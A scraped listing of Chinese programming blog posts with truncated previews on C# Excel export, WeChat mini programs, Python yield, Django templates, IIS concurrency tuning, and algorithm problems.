  4. 不使用模板导出Excel(C&num;版本)

    不多说,直接上干货! using System; using System.Collections.Generic; using System.Linq; using System.Web; usin ...

  5. 微信小程序快速开发上手

    微信小程序快速开发上手 介绍: 从实战开发角度,完整系统地介绍了小程序的开发环境.小程序的结构.小程序的组件与小程序的API,并提供了多个开发实例帮助读者快速掌握小程序的开发技能,并能自己动手开发出小 ...

  6. yield的表达式形式与内置函数

    yield的功能: 1. 与return类似,都可以返回值,不一样在于,yield可以返回多个值而且可暂停,再次执行可继续下一步操作,return到了就停止不在继续运行. 2.为封装好的的函数能够使用 ...

  7. dj 模板层template

    1 模板语法之变量 在 Django 模板中遍历复杂数据结构的关键是句点字符, 语法: {{var_name}} def index(request): import datetime s=&quot ...

  8. 让IIS支持10万并发

    适用的IIS版本:IIS 7.0, IIS 7.5, IIS 8.0 适用的Windows版本:Windows Server 2008, Windows Server 2008 R2, Windows ...

  9. POJ 2260

    #include <iostream> #define MAXN 100 using namespace std; int _m[MAXN][MAXN]; int main() { //f ...

  10. kolakoski序列

                   搜狐笔试=.= 当时少想一个slow的指针..呜呜呜哇的一声哭出来 function kolakoski(token0, token1) { token0 = token ...